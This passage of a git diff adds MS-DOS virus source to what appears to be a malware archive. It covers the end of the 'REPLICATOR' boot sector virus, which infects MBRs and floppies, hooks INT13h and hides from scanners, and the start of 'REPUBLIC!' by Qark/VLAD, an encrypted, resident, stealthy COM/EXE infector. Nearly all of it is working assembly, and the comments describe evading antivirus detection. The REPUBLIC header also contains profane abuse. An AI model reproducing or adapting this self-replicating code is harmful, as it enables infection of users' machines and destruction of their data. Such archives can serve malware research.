;Specify relocation sector for MBR. +D4: + INT 013 ;Write to specified sector(s). + JB >D5 ;Exit if flag=failure. +; +;Copy partition table data to virus. +; + MOV SI,MBR_BUFFER+PARTITION_OFFSET ;Set source offset. + MOV DI,VIRUS_BOOT+PARTITION_OFFSET ;Set destination offset. + MOV CL,021 ;Set repetition count (number of words) for + ;partition table move. + CLD ;Clear direction flag (fwd). + REP MOVSW ;Move partition table to virus. +; +;Write virus to MBR. +; + MOV AX,0301 ;Select write-1-sector function. + MOV BX,VIRUS_BOOT ;Set disk I/O buffer offset. + MOV CL,01 ;Track 0, sector 1. + INT 013 ;Write virus with attached partition table + ;to MBR. +; +;Terminate dropper. +; +D5: + MOV AX,04C00 ;Select terminate w/return code function. + INT 021 ;Terminate dropper. +; + DB 86 DUP 00 ;Pad bytes to avoid possible DMA I/O errors. +; +;********************************************************************************************** +;* * +;* REPLICATOR boot sector virus * +;* * +;********************************************************************************************** +; +VIRUS_BOOT: +; + JMP >B1 ;Jump over BPB data to virus entry point. +; +BPB_START: +; + DB 60 DUP 00 ;Reserve space for diskette BPB data. +; +BPB_END: +; +;------------ +;Boot routine +;------------ +; +;Set location of stack. +; +B1: + XOR AX,AX ;Zero AX. + MOV DS,AX ;Zero DS. + CLI ;Disable interrupts. + MOV SS,AX ;Zero SS. + MOV AX,07C00 ;Load location of stack to AX. + MOV SP,AX ;Set SP=7C00h. + STI ;Enable interrupts. + PUSH DS ;Store return address of boot record to be + PUSH AX ;popped from the stack when VIRUS_BOOT + ;returns to it (0000:7C00h). +; +;Read INT13h segment and offset from BIOS data table and store within VIRUS_BOOT. +; + MOV AX,W[BIOS13_OFFSET] ;Load BIOS INT13h vector offset stored at + ;0000:004Ch. + MOV W[OFFSET BIOS_OFFSET+07A00],AX ;Store BIOS INT13h offset value in virus data + ;area. + MOV CL,06 ;Set CL for virus segment shift. Location of + ;this operation chosen to defeat anti-viral + ;generic code-segment scans. + MOV AX,W[BIOS13_SEGMENT] ;Load BIOS INT13h vector segment stored at + ;0000:004Eh. + MOV W[OFFSET BIOS_SEGMENT+07A00],AX ;Store BIOS INT13h segment value in virus data + ;area. +; +;Calculate virus upper memory segment value and store within VIRUS_BOOT. +; + MOV BX,MEM_SIZE ;Load BX with address 0413h. This defeats + ;anti-viral searches for 0413h MOV operations. + MOV AX,W[BX] ;Load memory size (in KB) stored at 0000:0413h. + DEC AX ;Calculate value for 2KB reduction of + DEC AX ;conventional memory. + SHL AX,CL ;Calculate virus segment. + MOV W[OFFSET REENTRY_SEGMENT+07A00],AX ;Store virus segment value in virus data area. + MOV ES,AX ;Store in ES to be used to move virus to top of + ;conventional memory. +; +;Move VIRUS_BOOT from 0000:7C00h to top of memory - 2KB. +; + MOV SI,07C00 ;Set source offset address for virus move. + XOR DI,DI ;Set destination offset address to 0000h. + MOV CX,0100 ;Set repetition count (number of words) for + ;move. + CLD ;Clear direction flag (fwd). + REP MOVSW ;Move virus from DS:7C00h to ES:0000h. + CS JMP D[OFFSET REENTRY_OFFSET+07A00] ;Jump to self in new location via stored + ;address. +; +;Load VIRUS_DIR and original boot sector/MBR to top of memory - 1.5KB. +; +NEW_LOCATION: +; + PUSH CS + POP DS ;Set DS=CS. + MOV AX,0202 ;Select read-2-sectors function. + MOV BX,0200 ;Set disk I/O buffer offset. + MOV CL,B[OFFSET SECTOR-0200] ;VIRUS_DIR sector determined by value stored in + ;VIRUS_BOOT. + CMP CL,09 ;Test for hard drive (HD) boot. + JE >B2 ;Yes, booted from HD. + INC DH ;Select head 1, floppy drive DL. +B2: + INT 013 ;Read VIRUS_DIR and original boot record. + JNB >B3 ;Continue if flag=success. + JMP B5 ;Exit if flag=failure. +; +;Copy original boot sector/MBR down to 0000:7C00h for later execution. +; +B3: + XOR AX,AX ;Zero AX. + MOV ES,AX ;Zero ES (destination segment value). + MOV SI,0400 ;Set source offset address for virus move. + MOV DI,07C00 ;Set destination offset address for move. + MOV CX,0100 ;Set repetition count (# of words) for move. + CLD ;Clear direction flag (fwd). + REP MOVSW ;Copy original boot record to 0000:7C00h. +; +;Determine if the virus is already installed on the system in the memory above. If it is, in +;order to prevent multiple installations of the virus in memory and the problems that this can +;cause, the virus will be removed from memory. This will be done by restoring the BIOS data +;table values that it has changed to their original, pre-infection values. +; + CMP W[OFFSET INFECT_TAG1+0600],INF_TAG1 ;Check for presence of virus above us. + JNE >B4 ;If it's not there, exit removal routine. + MOV AX,W[OFFSET BIOS_OFFSET+0600] ;Get the pre-infection INT13h offset value from + ;the virus installed in memory. + PUSH AX ;Save that value on the stack. + MOV AX,W[OFFSET BIOS_SEGMENT+0600] ;Get the pre-infection INT13h segment value. + PUSH DS ;Preserve DS. + XOR BX,BX ;Zero BX. + MOV DS,BX ;Zero DS. + MOV W[BIOS13_SEGMENT],AX ;Restore BIOS data table to pre-infection + ;segment value. + POP AX ;Pop pre-infection offset value from stack. + MOV W[BIOS13_OFFSET],AX ;Restore BIOS data table to pre-infection + ;offset value. + MOV BX,MEM_SIZE ;Move data table address for conventional + ;memory size into BX. + ADD W[BX],02 ;Increase memory size value by 2KB to restore + ;it to pre-infection value. + POP DS ;Restore DS. + JMP >B5 ;Exit without installing virus in memory. +; +;Test for HD boot and, if true, install virus in memory. +; +B4: + CMP DL,080 ;Booted from HD? + JE >B6 ;If so, install virus and exit. +; +;Must be booting from floppy, so load MBR to top of memory - 1KB. +; + PUSH CS + POP ES ;Set ES=CS. + MOV AX,0201 ;Select read-1-sector function. + MOV BX,0400 ;Set disk I/O buffer offset. + MOV CL,01 ;Track 0, sector 1. + MOV DX,0080 ;Head 0, HD 1. + INT 013 ;Read MBR. + JB >B5 ;Exit if flag=failure and do not steal INT13h. +; +;Check MBR for infection. +; + CMP W[BX+OFFSET INFECT_TAG1-0200],INF_TAG1 ;Check MBR for infection tag. + JE >B5 ;If infected, exit and do not steal INT13h. +; +;Check fixed disk for an unused first track (head 0, cylinder 0) to avoid damaging any FAT +;which might be present in that area. +; + CMP B[BX+PARTITION_OFFSET+1],01 ;Check for unused track on HD by checking + ;partition table data (start head => 1). + JB >B5 ;If first track is in use, exit to avoid + ;FAT damage and do not steal INT13h vector. +; +;Increment hard disk infection counter for pending infection. +; + INC W[OFFSET HARD_COUNT-0200] +; +;Write VIRUS_DIR and original MBR to fixed disk sectors 09h and 0Ah respectively. +; + MOV AX,0302 ;Select write-2-sectors function. + MOV BX,0200 ;Set disk I/O buffer offset. + MOV CL,09 ;Track 0, sector 9. + MOV B[OFFSET SECTOR-0200],CL ;Store destination sector number in VIRUS_BOOT. + INT 013 ;Move VIRUS_DIR to sector 09h and original MBR + ;to sector 0Ah. + JB >B5 ;Exit if flag=failure and do not steal INT13h. +; +;Copy partition table data to VIRUS_BOOT. +; + MOV SI,PARTITION_OFFSET+0400 ;Set source offset. + MOV DI,PARTITION_OFFSET ;Set destination offset. + MOV CL,021 ;Set repetition count (# of words) move. + CLD ;Clear direction flag (fwd). + REP MOVSW ;Move partition table to virus. +; +;Write VIRUS_BOOT to MBR and exit without installing virus in memory. Subsequent HD boot will +;do this. +; + MOV AX,0301 ;Select write-1-sector function. + XOR BX,BX ;Set disk I/O buffer offset. + MOV CL,01 ;Track 0, sector 1. + INT 013 ;Write virus w/attached partition table to MBR. +B5: + XOR DX,DX ;Restore DX back to value at floppy boot + ;(head 0, drive 0). + RETF ;Exit, do not steal INT13h or reduce mem. size. + ;Return to boot sector code at 0000:7C00h. +; +;Steal BIOS INT13h vector and reduce memory size to install virus as TSR. +; +B6: + MOV BX,W[OFFSET REENTRY_SEGMENT-0200] ;Load VIRUS_DIR segment value to BX. + XOR AX,AX ;Zero AX. + MOV DS,AX ;Zero DS. + MOV W[BIOS13_SEGMENT],BX ;Point INT13h vector to VIRUS_DIR + ;segment. + MOV W[BIOS13_OFFSET],OFFSET VIRUS_INT-0200 ;Point INT13h vector to VIRUS_INT + ;INT13h handler offset in VIRUS_DIR. + MOV BX,MEM_SIZE ;Load BIOS data table address for + ;memory size to BX. + SUB W[BX],02 ;Reduce memory by 2KB to protect virus + ;area from being overwritten by other + ;programs. + RETF ;Return to boot sector code at + ;0000:7C00h. +; +;Reserve storage locations for virus data and preset some known values. +; +BIOS_OFFSET DW ? ;BIOS INT13 offset. +BIOS_SEGMENT DW ? ;BIOS INT13 segment. +REENTRY_OFFSET DW NEW_LOCATION-0200 ;Virus reentry offset. +REENTRY_SEGMENT DW ? ;Virus reentry segment. +INFECT_TAG1 DW INF_TAG1 ;Infection tag for VIRUS_BOOT. +SECTOR DB 09 ;Sector # containing VIRUS_DIR. +; +VIRUS_BOOT_END: +; +;Reserve end-of-sector text area and establish valid boot record tag. +; + DB 195 DUP 00 ;End-of-sector pad bytes. + DB 055,0AA ;Boot record tag. +; +SECTOR_END: +; +;End of boot sector/MBR viral code. +;---------------------------------------------------------------------------------------------- +;Start of directory sector viral code. +; +VIRUS_DIR: +; +;Create four empty root directory entries at the beginning of the sector. +; + DB 128 DUP 00 +; +;-------------- +;INT13h Handler +;-------------- +; +VIRUS_INT: +; + CMP DL,080 ;Hard drive I/O? + JNE >F1 ;No, exit to floppy test routine. +; +;Stealth routine to return original, uninfected MBR to any anti-viral scan program. Also, +;prevents writes to the MBR to prevent disinfection of the fixed disk while the virus is +;active in memory. +; + CMP CX,0001 ;Track 0, sector 1? + JNE >U1 ;If not, no need for the stealth routine. + ;Instead, jump to infect. count. update. + CMP DH,00 ;Head 0? + JNE >E2 ;If not, exit stealth routine. + CMP AH,03 ;Write sector? + JE >S1 ;Yes, simulate I/O. + PUSH CX ;Preserve CX (track/sector #). + MOV CL,0A ;Redirect I/O to sector 0Ah, the new location + ;of the original MBR. + PUSHF + CS CALL D[OFFSET BIOS_OFFSET-0200] ;Send scan program original MBR + ;instead of infected MBR. + POP CX ;Restore original track/sector value requested + ;the calling routine. Anti-viral scanner will + ;monitor the contents of CL upon return. +S1: + XOR AH,AH ;Zero AH to simulate return value of + ;successful I/O. + CLC ;Clear carry flag to simulate successful I/O + ;to calling routine. + RETF 2 ;Return to calling routine. +; +;Infection counter update routine writes VIRUS_DIR containing the lastest floppy infection +;counter value to the hard drive only if there has been a diskette infection since the last +;hard drive access. +; +U1: + PUSH DS ;Preserve DS. + PUSH CS + POP DS ;Set DS=CS + CMP B[OFFSET UPDATE_FLAG-0200],SET ;Floppy infected since last HD access? + JNE >U2 ;No, exit counter update routine. + MOV B[OFFSET UPDATE_FLAG-0200],CLEAR ;Yes, clear floppy infect flag. + PUSH ES ;Preserve ES. + PUSH CS + POP ES ;Set ES=CS + PUSH AX ;Preserve registers. + PUSH BX + PUSH CX + PUSH DX + MOV AX,0301 ;Select write-1-sector function. + MOV BX,0200 ;Set disk I/O buffer start address. + MOV CX,0009 ;Specify track 0, sector 9. + MOV DH,00 ;Specify head 0. + PUSHF + CS CALL D[OFFSET BIOS_OFFSET-0200] ;Save VIRUS_DIR w/new infect. count to HD. + POP DX ;Restore registers + POP CX + POP BX + POP AX + POP ES +U2: + POP DS + JMP >E2 ;Exit to handler exit. +; +;Check the INT13h register values for drive A or B read or write request. This prevents +;problems caused by the virus infecting a diskette during format. Also, by limiting infection +;attempts to the first two floppy drives, it avoids the problems it would cause to a tape +;backup system emulating a third or fourth floppy drive. +; +F1: + PUSH DS ;Preserve DS. + PUSH AX ;Preserve AX. + CMP DL,01 ;Floppy I/O (A or B)? + JA >E1 ;No, don't infect. + CMP AH,02 ;Check for read function. + JB >E1 ;Exit if below read function. + CMP AH,03 ;Check for write function. + JA >E1 ;Exit if above write function. +; +;Check diskette motor status to limit infection attempt to first INT13h call thereby preventing +;suspicious floppy drive noises. +; + XOR AX,AX ;Zero AX. + MOV DS,AX ;Zero DS. + MOV AL,DL ;Move motor-on test bit into AL. + INC AL ;Position bit for floppy 'DL'. + TEST B[MOTOR_ON],AL ;Test for floppy motor on. + JNE >E1 ;Yes, don't infect. +; +;Check for presence of TSR anti-viral monitoring program to avoid detection of boot sector +;write by virus. If present, don't attempt infection. +; + CMP B[BIOS40_SEGMENT],ROM_SEGMENT ;Has INT40h been stolen from BIOS ROM by an + ;anti-virus program? + JB >E1 ;If so, do not attempt infection. +; +;Infect floppy. +; + POP AX ;Restore AX. + POP DS ;Restore DS. + PUSHF + CS CALL D[OFFSET BIOS_OFFSET-0200] ;Give calling routine what it wants. + PUSHF ;Preserve flags. + CALL >F2 ;Then attempt infection. + POPF ;Restore flags to hide I/O errors. + RETF 2 ;Return to calling routine. +; +;Jump to BIOS. +; +E1: + POP AX ;Restore AX. + POP DS ;Restore DS. +E2: + CS JMP D[OFFSET BIOS_OFFSET-0200] ;Jump through BIOS to calling routine. +; +;Diskette infection routine. +; +F2: + PUSH AX ;Preserve all registers. + PUSH BX + PUSH CX + PUSH DX + PUSH DS + PUSH ES + PUSH SI + PUSH DI +; +;Check system type to determine if the INT1Ah read-real-time-clock function is supported (AT +;or better). If not, skip the date check/storage process and store floppy infection "BAD" +;date tag in VIRUS_DIR. +; + MOV AX,SYS_ID_SEGMENT + MOV DS,AX ;Set DS to ROM offset. + CMP B[SYS_ID_OFFSET],AT_TAG ;Check system ID byte for AT system tag. + PUSH CS + POP DS ;Set DS to point to dropper segment. + JE >F3 ;If AT, check date and store before infection. + MOV W[OFFSET FLOPPY_MODAY-0200],BAD_TAG ;Store date "BAD" tag in VIRUS_DIR. + JMP >F4 ;Then continue infection process. +; +;Store month, day and year of pending floppy diskette infection in VIRUS_DIR. +; +F3: + PUSH DX + MOV AH,04 ;Set read-date function. + INT 01A ;BIOS read-clock interrupt. + MOV W[OFFSET FLOPPY_YEAR-0200],CX ;Store infection year in VIRUS_DIR. + MOV W[OFFSET FLOPPY_MODAY-0200],DX ;Store month and day in VIRUS_DIR. +; +;Store time of pending floppy diskette infection in VIRUS_DIR. +; + MOV AH,02 ;Select read-time function. + INT 01A ;BIOS read-clock interrupt. + MOV W[OFFSET FLOPPY_TIME-0200],CX ;Store infection hour and minute in VIRUS_DIR. + POP DX +; +;Load diskette boot sector to top of memory - 1KB. +; +F4: + PUSH CS + POP ES ;Set ES=CS. + MOV AX,0201 ;Select read-1-sector function. + MOV BX,0400 ;Set disk I/O buffer offset. + MOV CX,0001 ;Track 0, sector 1. + MOV DH,00 ;Head 0, drive DL. + PUSHF + CALL D[OFFSET BIOS_OFFSET-0200] ;Read drive DL boot sector to buffer by + ;calling INT13h routine in BIOS ROM. + JNB >F5 ;Proceed with infection if flag=success. + JMP F7 ;Otherwise, exit. +; +;Check diskette boot sector for infection. +; +F5: + CMP W[BX+OFFSET INFECT_TAG1-0200],INF_TAG1 ;Check for VIRUS_BOOT infection tag. + JE >F7 ;If infected, then exit. +; +;Determine diskette type from BPB data to allow VIRUS_DIR and original boot sector to be +;written to the last two root directory sectors. This maximizes the number of files that can +;be stored on the diskette after infection. Also, detect non-standard formats and do not +;infect to prevent damage. +; + MOV CL,02 ;VIRUS_DIR sector for 360K. + MOV AX,W[BX+BPB_NUM_SECT] ;Load # sect. on floppy from BPB. + CMP AX,02D0 ;Check for # sectors on 360K. + JE >F6 ;Exit if 360K floppy. + MOV CL,04 ;VIRUS_DIR sector for 720K. + CMP AX,05A0 ;Check for # sectors on 720K. + JE >F6 ;Exit if 720K floppy. + MOV CL,0D ;VIRUS_DIR sector for 1.2M. + CMP AX,0960 ;Check for # sectors on 1.2M. + JE >F6 ;Exit if 1.2M floppy. + MOV CL,0E ;VIRUS_DIR sector for 1.44M. + CMP AX,0B40 ;Check for # sectors on 1.44M. + JE >F6 ;Exit if 1.44M floppy. + JMP >F7 ;Non-standard disk format, exit to avoid + ;damage. +; +;Load the first of the two root directory sectors that will be used to store the VIRUS_DIR +;and original boot sector to top of memory - 0.5KB. +; +F6: + MOV B[OFFSET SECTOR-0200],CL ;Store destination sector # in VIRUS_BOOT. + MOV AX,0201 ;Select read sector function. + MOV BX,0600 ;Set disk I/O buffer offset. + INC DH ;Head 1, drive DL. + PUSHF + CALL D[OFFSET BIOS_OFFSET-0200] ;Load destination sector. + JB >F7 ;Exit if flag=failure. +; +;Confirm that the directory sector chosen to be the future location of VIRUS_DIR is empty +;before attempting infection. This prevents the loss of files which would result from +;the overwriting of root directory entries by the virus. +; + CMP B[BX],00 ;Empty root directory entry? + JNE >F7 ;No, so exit and don't infect disk. +; +;Copy the original boot sector's BPB to VIRUS_BOOT to allow functional infection of any +;diskette type. +; + MOV SI,BPB_START+0200 ;Set source offset. + MOV DI,BPB_START-0200 ;Set destination offset. + MOV CL,BPB_END-BPB_START ;Set repetition count (# of bytes) for move. + CLD ;Clear direction flag (fwd). + REP MOVSB ;Move BPB to virus to allow functional + ;infection of any diskette format. +; +;Copy original boot sector end-of-sector text to VIRUS_BOOT to prevent easily visible changes +;to boot sector. +; + MOV SI,VIRUS_BOOT_END+0200 ;Set source offset. + MOV DI,VIRUS_BOOT_END-0200 ;Set destination offset. + MOV CL,SECTOR_END-VIRUS_BOOT_END ;Set repetition count (number of bytes) for + ;text move. + CLD ;Clear direction flag (fwd). + REP MOVSB ;Move end-of-sector text to virus to prevent + ;easily visible change to boot sector. +; +;Write VIRUS_BOOT to diskette boot sector. +; + MOV AX,0301 ;Select write-1-sector function. + XOR BX,BX ;Set disk I/O buffer offset. + MOV CL,01 ;Track 0, sector 1. + DEC DH ;Head 0, drive DL. + PUSHF + CALL D[OFFSET BIOS_OFFSET-0200] ;Write infected boot sector. + JB >F7 ;Exit if flag=failure. +; +;Increment floppy infection count. +; + INC W[OFFSET FLOPPY_COUNT-0200] +; +;Clear diskette infection flag. +; + MOV B[OFFSET UPDATE_FLAG-0200],CLEAR +; +;Write VIRUS_DIR and original boot sector to appropriate sectors. +; + MOV AX,0302 ;Select write-2-sectors function. + MOV BX,0200 ;Set disk I/O buffer offset. + MOV CL,B[OFFSET SECTOR-0200] ;Track 0, sector stored at 0189h. + INC DH ;Head 1, drive DL. + PUSHF + CALL D[OFFSET BIOS_OFFSET-0200] ;Relocate boot sector. +; +;Set diskette infection flag. +; + MOV B[OFFSET UPDATE_FLAG-0200],SET +; +;Exit diskette infection routine. +; +F7: + POP DI ;Restore all registers. + POP SI + POP ES + POP DS + POP DX + POP CX + POP BX + POP AX + RET ;Return to infection routine exit. +; +;Virus data area. +; +HARD_COUNT DW ? ;Number of HD infections since drop. +DROP_MODAY DW ? ;Month and day of HD drop. +DROP_YEAR DW ? ;Year of HD drop. +DROP_TIME DW ? ;Time of HD drop. +FLOPPY_COUNT DW ? ;Number of floppy infections since drop. +FLOPPY_MODAY DW ? ;Month and day of last floppy infection. +FLOPPY_YEAR DW ? ;Year of last floppy infection. +FLOPPY_TIME DW ? ;Time of last floppy infection. +INFECT_TAG2 DW INF_TAG2 ;Infection tag for VIRUS_DIR. +UPDATE_FLAG DB CLEAR ;Flag indicating floppy infection since last + ;HD access. +; + DB 3 DUP 00 ;End-of-sector pad bytes. +; +;End of directory sector viral code. +;---------------------------------------------------------------------------------------------- +;Start of MBR disk buffer. +; +MBR_BUFFER: +; +;---------------------------------------------------------------------------------------------- +; +CODE ENDS + diff --git a/MSDOS/Virus.MSDOS.Unknown.republic.asm b/MSDOS/Virus.MSDOS.Unknown.republic.asm new file mode 100644 index 00000000..6341cac2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.republic.asm @@ -0,0 +1,830 @@ + +; REPUBLIC! +; +-------+ Qark/VLAD +; +; +; This virus is named because I (and metabolis) support a republic for +; Australia. Fuck the Union Jack off from our flag... we want something +; Australian in there... and an Australian head of state not some pommy +; bitch Queen and her corgis. +; +; A funny thing: I wrote a full-on MTE/TPE/DAME type polymorphic engine +; for this virus, but TBScan found it every time! But when i do the +; shitty XOR routine that's at the end, TBScan hardly finds anything! +; TBAV can be proud of it's capabilites with polymorphism, but for +; basic encryption it's a big thumbs down... +; +; Stats: +; - Disinfect on open, Infect on close. +; - No directory filesize change +; - No findfirst filesize change +; - Some anti-debugging features +; +; Anyway, this is my best virus so far. I've come a fair way since broken, +; fucked up brother in VLAD#1 I'm sure you'll agree. I wrote this virus +; a few months ago and am better than this already. +; +; As always, the A86 assembler is my favourite :) + + + org 0 + + + db 0beh ;MOV SI,xxxx +delta dw offset enc_start + 100h + cld + call encrypt +enc_start: + push cs + pop ds ;DS=CS + sub si,offset enc_end ;The polymorphism is done. + + + + mov word ptr [si+offset quit],20cdh +quit: + mov word ptr [si+offset quit],44c7h ;The bytes changed. + + + push es + push si + + ;If I don't get a feed soon, I'll start to fade... + + mov ax,0FEEDh ;Feed ? + int 21h + + cmp ax,0FADEh ;Yes... + je resident ;Fade... + + mov ax,es + dec ax + mov ds,ax + + cmp byte ptr [0],'Z' + jne resident + + sub word ptr [3],160 ;2560 bytes of memory. + sub word ptr [12h],160 ;2560 bytes off TOM. + + mov bx,word ptr [12h] ;Read in the TOM. + + push cs + pop ds ;DS=CS + + xor ax,ax ;ES=0 (Vector Table) + mov es,ax + + mov ax,word ptr es:[132] ;Get int21h. + mov word ptr [si+offset i21],ax + + mov ax,word ptr es:[134] ;Get int21h segment. + mov word ptr [si+offset i21+2],ax + + mov es,bx ;ES=Segment to store virus. + + xor di,di ;Zero in memory. + mov cx,offset length ;The size of the virus. + rep movsb ;Move the virus. + + xor ax,ax + mov ds,ax ;ES=0 (Vector Table) + + mov word ptr [132],offset infection + mov [134],bx ;BX=Virus Seg I hope! + +resident: + + pop si ;SI=IP (Virus start) + pop es ;ES=PSP + + push cs + pop ds + + cmp byte ptr [si+offset com_exe],1 + je exe_exit + + mov ax,word ptr [si+offset old3] + mov [100h],ax + mov al,byte ptr [si+offset old3+2] + mov [102h],al + + push es + pop ds + + call zero_all + mov ax,100h + jmp ax + +Exe_Exit: + + mov ax,es ;ES=PSP + add ax,10h ;EXE file start. + add word ptr [si+jump+2],ax + + call zero_all + + mov sp,word ptr [si+offset orig_sp] + add ax,word ptr [si+offset orig_ss] ;Fix SS with AX. + mov ss,ax + + push es + pop ds + + + db 0eah + jump dd 0 + + Message db 'Go the Republic! ' + db 'Fuck off Royal Family!',0 + Creator db 'Qark/VLAD of the Republic of Australia',0 + +Infection: + + push ax + xchg al,ah + + cmp ax,004bh ;Exec. Don't infect on 4B01h because + je test_inf ;debug will find it then. + + cmp al,43h ;Chmod. + je test_inf + + cmp al,56h ;Rename. + je test_inf + + cmp al,6ch ;Open. + je dis_inf + + cmp al,3dh ;Open + je dis_inf + + cmp al,11h ;FCB find. + je dir_listing + + cmp al,12h ;Dir listing in progress. + je dir_listing + + cmp al,4eh ;Find first. + je find_file + + cmp al,4fh ;Find_next. + je find_file + + cmp al,3eh ;Close. + je end_infect + + pop ax + + cmp ax,0FEEDh + je res_check ;Testing for installation ? + +jump_exit: + + jmp jend ;Exit TSR + +res_check: + mov ax,0FADEh ;Return parameter. + iret + +dir_listing: + jmp dir_stealth +find_file: + jmp search_stealth +dis_inf: + jmp full_stealth ;Disinfect on the fly. +end_infect: + jmp close_infect + +jump2_exit: + jmp far_pop_exit ;Just an exit. + +test_inf: + + push bx + push cx + push dx + push si + push di + push ds + push es + + call check_name + + jc jump2_exit + + mov ax,3d00h ;Open readonly. + mov dx,di ;DX=DI=Offset length + call int21h + + jc jump2_exit + + mov bx,ax + + call get_sft + + ;Test for infection. + mov ax,word ptr es:[di+0dh] ;File time into AX from SFT. + mov word ptr es:[di+2],2 ;Bypass Read only attribute. + and ax,1f1fh ;Get rid of the shit we don't need. + cmp al,ah ;Compare the seconds with minutes. + je jump2_exit + +Handle_Infection: + + push cs + pop es ;ES=CS + + ;Read the File header in to test + ;for EXE or COM. + mov ah,3fh ;Read from file. + mov cx,1ch ;1C bytes. + call int21h ;DX=Offset length from file open. + ;We don't need the filename anymore + ;so use that space as a buffer. + + mov si,dx ;SI=DX=offset length. + mov di,offset header + mov cx,18h + rep movsb ;Move header to header. + + + mov si,dx ;SI=DX=Offset of length. + + mov ax,word ptr [si] ;=Start of COM or EXE. + add al,ah ;Add possible MZ. + cmp al,167 ;Test for MZ. + je exe_infect + jmp com_infect + +EXE_infect: + + mov byte ptr com_exe,1 ;Signal EXE file. + + cmp word ptr [si+1ah],0 ;Test for overlays. + jne exe_close_exit ;Quick... run!!! + + push si ;SI=Offset of header + + add si,0eh ;SS:SP are here. + mov di,offset orig_ss + movsw ;Move them! + movsw + + mov di,offset jump ;The CS:IP go in here. + + lodsw ;ADD SI,2 - AX destroyed. + + movsw + movsw ;Move them! + + pop si + + call get_sft ;ES:DI = SFT for file. + + mov ax,word ptr es:[di+11h] ;File length in DX:AX. + mov dx,word ptr es:[di+13h] + mov cx,16 ;Divide by paragraphs. + div cx + + sub ax,word ptr [si+8] ;Subtract headersize. + + mov word ptr delta,dx ;Initial IP. + + add delta,offset enc_start ;Fix for polymorphics. + + mov word ptr [si+14h],dx ;IP in header. + mov word ptr [si+16h],ax ;CS in header. + + add dx,offset stack_end ;Fix SS:SP for file. + + mov word ptr [si+0eh],ax ;We'll make SS=CS + mov word ptr [si+10h],dx ;SP=IP+Offset of our buffer. + + mov ax,word ptr es:[di+11h] ;File length in DX:AX. + mov dx,word ptr es:[di+13h] + + add ax,offset length ;Add the virus length on. + adc dx,0 ;32bit + + mov cx,512 ;Divide by pages. + div cx + + and dx,dx + jz no_page_fix + + inc ax ;One more for the partial + ;page! +no_page_fix: + + mov word ptr [si+4],ax ;Number of pages. + mov word ptr [si+2],dx ;Partial page. + + mov word ptr es:[di+15h],0 ;Lseek to start of file. + + call get_date ;Save the old time/date. + + mov ah,40h ;Write header to file. + mov dx,si ;Our header buffer. + mov cx,1ch ;1CH bytes. + call int21h + + jc exe_close_exit + + mov ax,4202h ;End of file. Smaller than + ;using SFT's. + xor cx,cx ;Zero CX + cwd ;Zero DX (If AX < 8000H then + ;CWD moves zero into DX) + call int21h + + call enc_setup ;Thisll encrypt it and move + ;it to the end of file. +exe_close_exit: + + jmp com_close_exit + +com_infect: + + mov byte ptr com_exe,0 ;Flag COM infection. + + mov ax,word ptr [si] ;Save COM files first 3 bytes. + mov word ptr old3,ax + mov al,[si+2] + mov byte ptr old3+2,al + + call get_sft ;SFT is at ES:DI + + mov ax,es:[di+11h] ;AX=File Size + + cmp ax,64000 + ja com_close_exit ;Too big. + + cmp ax,1000 + jb com_close_exit ;Too small. + + push ax ;Save filesize. + + mov newoff,ax ;For the new jump. + sub newoff,3 ;Fix the jump. + + mov word ptr es:[di+15h],0 ;Lseek to start of file :) + + call get_date ;Save original file date. + + mov ah,40h + mov cx,3 + mov dx,offset new3 ;Write the virus jump to start of + call int21h ;file. + + pop ax ;Restore file size. + + jc com_close_exit ;If an error occurred... exit. + + mov word ptr es:[di+15h],ax ;Lseek to end of file. + + add ax,offset enc_start + 100h ;File size + 100h. + mov word ptr delta,ax ;The delta offset for COM files. + + call enc_setup + +com_close_exit: + + mov ah,3eh + call int21h + +far_pop_exit: + + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + +jend: + db 0eah ;Opcode for jmpf + i21 dd 0 + +int21h proc near ;Our int 21h + + pushf + call dword ptr cs:[i21] + ret +int21h endp + +close_infect: + cmp bl,4 + ja good_handle + pop ax + jmp jend + +Good_Handle: + + push bx ;Save the original registers. + push cx + push dx + push si + push di + push ds + push es + + call get_sft ;ES:DI = SFT + mov ax,word ptr es:[di+0dh] ;AX=Time + and ax,1f1fh ;Shit we don't need. + cmp al,ah ;AL=AH means infected. + je far_pop_exit + + mov dx,offset length + push cs + pop ds + + mov word ptr es:[di+2],2 ;Read/Write mode. + mov word ptr es:[di+15h],0 ;Zero file pointer. + mov word ptr es:[di+17h],0 ;Zero file pointer. + add di,28h ;ES:DI=Extension + cmp word ptr es:[di],'OC' + je close_com + cmp word ptr es:[di],'XE' + jne far_pop_exit +Close_Exe: + inc di + inc di + cmp byte ptr es:[di],'E' + jne far_pop_exit + jmp handle_infection + +Close_Com: + + cmp byte ptr es:[di+2],'M' + jne far_pop_exit + jmp handle_infection + +;------- + +Full_Stealth: + push bx + push cx + push dx + push si + push di + push ds + push es + + cmp al,6ch + jne stealth_6c + + mov dx,si + +stealth_6c: + call check_name + jnc do_stealth +Stealth_end: + jmp far_pop_exit + +Do_Stealth: + + mov ax,3d00h + mov dx,di + call int21h + jc stealth_end + + mov bx,ax ;BX=filehandle + call get_sft + ;ES:DI=SFT + + mov ax,word ptr es:[di+0dh] ;File time into AX from SFT. + mov word ptr es:[di+2],2 ;Bypass Read only attribute. + and ax,1f1fh ;Get rid of the shit we don't need. + cmp al,ah ;Compare the seconds with minutes. + jne stealth_end ;Not infected... + + + mov ax,word ptr es:[di+11h] ;File size. + mov dx,word ptr es:[di+13h] + + push dx + push ax + + sub ax,1ch ;Header+time+date = 1ch + sbb dx,0 + mov word ptr es:[di+15h],ax ;File pointer. + mov word ptr es:[di+17h],dx + + mov ah,3fh + mov dx,offset header ;Read in header. + mov cx,1ch + call int21h + + pop ax + pop dx ;DX:AX=length of file + + sub ax,offset length ;EOF - length. + sbb dx,0 + mov word ptr es:[di+15h],ax + mov word ptr es:[di+17h],dx + + mov ah,40h ;Truncate virus off. + xor cx,cx + call int21h + jc stealth_end + + mov word ptr es:[di+15h],0 ;Start of file + mov word ptr es:[di+17h],0 + + mov ah,40h + mov dx,offset header + mov cx,18h + call int21h ;Write original header back. + + mov cx,word ptr time + mov dx,word ptr date + mov ax,5701h ;Put original time/date back. + call int21h + + mov ah,3eh ;Close file. + call int21h + + jmp stealth_end + +Check_Name proc near +;Entry: +;DS:DX=Filename +; +;Exit: +;Carry if bad name. +;DS=ES=CS +;AX is fucked. +;SI = File Extension Somewhere. +;DI = Offset length. + + + mov si,dx ;DS:SI = Filename. + + push cs + pop es ;ES=CS + + mov ah,60h ;Get qualified filename. + mov di,offset length 